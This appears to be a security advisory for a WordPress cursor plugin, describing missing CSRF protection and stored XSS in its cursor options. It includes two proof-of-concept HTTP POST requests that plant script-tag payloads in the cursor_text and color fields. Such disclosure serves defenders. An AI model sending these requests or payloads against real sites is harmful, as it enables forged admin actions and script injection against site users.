The plugin does not have Cross-Site Request Forgery (CSRF) check in place when creating and editing cursors, which could allow attackers to made a logged in admin perform such actions via CSRF attacks. Furthermore, due to the lack of sanitisation and escaping in some of the cursor options, it could also lead to Stored Cross-Site Scripting (XSS).
Proof of Concept
To add a cursor with XSS payloads in it:
POST /wp-admin/admin.php?page=wpcc_add_new HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
cursor_shape=1&cursor_type=text&cursor_image=&click_point=50,50&cursor_text=<script>alert(/XSS-text/)>&color=<script>alert(/XSS-color/)>&width=30&blending_mode=normal&hide_tablet=on&hide_mobile=on&hover_cursor_type=1&hover_cursors=&activate_on=0&selector_type=tag&selector_data=&submit=Save+Cursor
To edit the cursor with ID 1 and set XSS payloads in it:
POST /wp-admin/admin.php?page=wpcc_add_new HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
cursor_shape=1&cursor_type=text&cursor_image=&click_point=50,50&cursor_text=<script>alert(/XSS-text/)>&color=<script>alert(/XSS-color/)>&width=30&blending_mode=normal&hide_tablet=on&hide_mobile=on&hover_cursor_type=1&hover_cursors=&activate_on=0&selector_type=tag&selector_data=&update_id=1&update=Update+Cursor
The XSS will be triggered when viewing the cursor list as well as when editing it.